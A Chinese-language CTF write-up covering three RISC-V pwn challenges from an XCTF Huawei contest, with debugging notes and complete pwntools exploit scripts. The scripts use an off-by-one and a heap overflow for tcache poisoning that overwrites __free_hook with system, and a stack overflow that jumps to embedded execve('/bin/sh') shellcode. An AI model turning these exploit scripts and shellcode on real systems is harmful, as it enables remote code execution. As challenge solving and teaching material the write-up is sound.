XCTF华为专场 三道RISC-V Pwn

更新中…没有一道题是看出洞来,因为没工具不会看,全是手测然后调出来的…

调试方法

gdb调试

file harmoshell
set architecture riscv:rv64
b free
target remote :1234

libc基址

此类qemu-user的题目,libc基址虽然不变,但其与qemu版本和操作系统环境二者均相关,以下libc基址为笔者本机测得:

$ uname -a
Linux ubuntu 5.4.0-58-generic #64-Ubuntu SMP Wed Dec 9 08:16:25 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
$ qemu-riscv64 --version
qemu-riscv64 version 5.1.92
Copyright (c) 2003-2020 Fabrice Bellard and the QEMU Project developers

除了利用漏洞泄露出来,也可调试获得:

堆地址

断到free上,看寄存器即可找到堆地址

qemu-user总结

honorbook

  • 漏洞:添加数据时存在off-by-one,可以溢出下一个堆块的size
  • 利用:即可构造overlap,覆盖位于tcache中堆块的fd,然后两次malloc即可任意地址写,最后写__free_hook为system即可getshell

题目附件:honorbook.zip

from pwn import *
context(log_level='debug')
myelf = ELF("./honorbook")
#io = process(['qemu-riscv64','-g','1234','-L','./libs','./honorbook'])
io = process(['qemu-riscv64','-L','./libs','./honorbook'])
#io = remote("121.36.192.114",9999)

sla        = lambda delim,data     :  (io.sendlineafter(delim, data))
add        = lambda idx,name,data  :  (sla(": ","1") , sla(": ",str(idx)), sla(": ",name),sla(": ",data))
free       = lambda idx            :  (sla(": ","2") , sla(": ",str(idx)))
show       = lambda idx            :  (sla(": ","3") , sla(": ",str(idx)))

libc       = 0x400099b000         # local  libc
#libc       = 0x4000986000          # remote libc
free_hook  = 0x109838 + libc
system     = 0x0388fe + libc

def leak():
    for i in range(9): add(i,'','')
    for i in range(9): free(i)
    for i in range(9): add(i,'','a'*11)
    #for i in range(9): add(i,'','a'*7)
    show(7); io.interactive()

def aaw(addr,data):
    add(0,'','')
    add(1,'','')
    free(0)
    add(0,'','\xf1'*0xe9)           # off by one overflow to node1 chunk size, from 0x31 to 0xf1
    free(1)                         # free two 0xf1 chunks to tcache, the first overlaps the second
    add(2,'',b'a'*0x30+p64(addr))   # get the first 0xf1 chunk and overflow to next chunk fd
    add(3,'','')                    # get the next 0xf1 chunk and leave the fake fd to tache chains
    add(4,'',data)                  # get the fake tcache chunk and write data 

def attack():
    aaw(free_hook,p64(system))      # modify free_hook to system
    add(10,'/bin/sh','')            # add a chunk has /bin/sh
    free(10)                        # system('/bin/sh')
    io.interactive()

attack()
[DEBUG] Received 0xa bytes:
    'Username: '
Username: [DEBUG] Received 0x1b bytes:
    00000000  0a 66 02 0a  4d 73 67 3a  20 61 61 61  61 61 61 61  │·f··│Msg:│ aaa│aaaa│
    00000010  0a f8 d9 a8  0a 43 6f 64  65 3a 20                  │····│·Cod│e: │
    0000001b

f
Msg: aaaaaaa
�٨




[DEBUG] Received 0xa bytes:
    'Username: '
Username: [DEBUG] Received 0x1d bytes:
    00000000  0a 66 02 0a  4d 73 67 3a  20 61 61 61  61 61 61 61  │·f··│Msg:│ aaa│aaaa│
    00000010  61 61 61 61  0a 40 0a 43  6f 64 65 3a  20           │aaaa│·@·C│ode:│ │
    0000001d

f
Msg: aaaaaaaaaaa
@

harmoshell

  • 漏洞:使用echo对一个不存在的文件写,内容部分会触发栈溢出
  • 利用:堆地址不变,堆内容可控,ret2shellcode
from pwn import *
context(log_level='debug')
io = remote('121.37.222.236', 9999)
#io = process(['qemu-riscv64','-g','1234','-L','./libs','./harmoshell'])
#io = process(['qemu-riscv64','-L','./libs','./harmoshell'])

# http://shell-storm.org/shellcode/files/shellcode-908.php
shellcode =  b'\x01\x11\x06\xec\x22\xe8\x13\x04'
shellcode += b'\x21\x02\xb7\x67\x69\x6e\x93\x87'
shellcode += b'\xf7\x22\x23\x30\xf4\xfe\xb7\x77'
shellcode += b'\x68\x10\x33\x48\x08\x01\x05\x08'
shellcode += b'\x72\x08\xb3\x87\x07\x41\x93\x87'
shellcode += b'\xf7\x32\x23\x32\xf4\xfe\x93\x07'
shellcode += b'\x04\xfe\x01\x46\x81\x45\x3e\x85'
shellcode += b'\x93\x08\xd0\x0d\x93\x06\x30\x07'
shellcode += b'\x23\x0e\xd1\xee\x93\x06\xe1\xef'
shellcode += b'\x67\x80\xe6\xff'

sla        = lambda delim,data     :  (io.sendlineafter(delim, data))
sl         = lambda data           :  (io.sendline(data))
touch      = lambda name           :  (sla('$ ', 'touch '+name))
echo       = lambda name,data      :  (sla('$ ', 'echo >>  '+name),sleep(0.1),sl(data))
rm         = lambda name           :  (sla('$ ', 'rm '+name))
new        = lambda name,data      :  (touch(name),echo(name,data))

new ("1",b'a'*8 + shellcode)
echo("2",b'a'*312 + p64(0x25f10))
io.interactive()

harmoshell2

  • 漏洞:echo对已有文件进行追加写,可以触发堆溢出
  • 利用:溢出一个free到tcache中堆块的fd,然后两次malloc即可任意地址写,最后写__free_hook为system即可getshell
from pwn import *
context(log_level='debug')

#io = process(['qemu-riscv64','-g','1234','-L','./libs','./harmoshell2'])
#io = process(['qemu-riscv64','-L','./libs','./harmoshell2'])
#libc       = 0x400099b000         # local  libc

io         = remote("139.159.132.55",9999)
libc       = 0x4000986000          # remote libc

free_hook  = 0x109838 + libc
system     = 0x0388fe + libc

sla        = lambda delim,data     :  (io.sendlineafter(delim, data))
sl         = lambda data           :  (io.sendline(data))
touch      = lambda name           :  (sla('$ ', 'touch '+name))
echo       = lambda name,data      :  (sla('$ ', 'echo >>  '+name),sleep(0.1),sl(data))
rm         = lambda name           :  (sla('$ ', 'rm '+name))
new        = lambda name,data      :  (touch(name),echo(name,data))

def aaw(addr,data):
    new  ('1',b'a'*0xc0)
    touch("2");touch("3")
    rm   ("3");rm   ("2")
    echo ("1",b'a'*(0x107-0xc0)+p64(0x31)+p64(0)*6+p64(addr))
    touch("4")
    new  ("5",data)

aaw(free_hook,p64(system))
new("6","$0");rm("6")
io.interactive()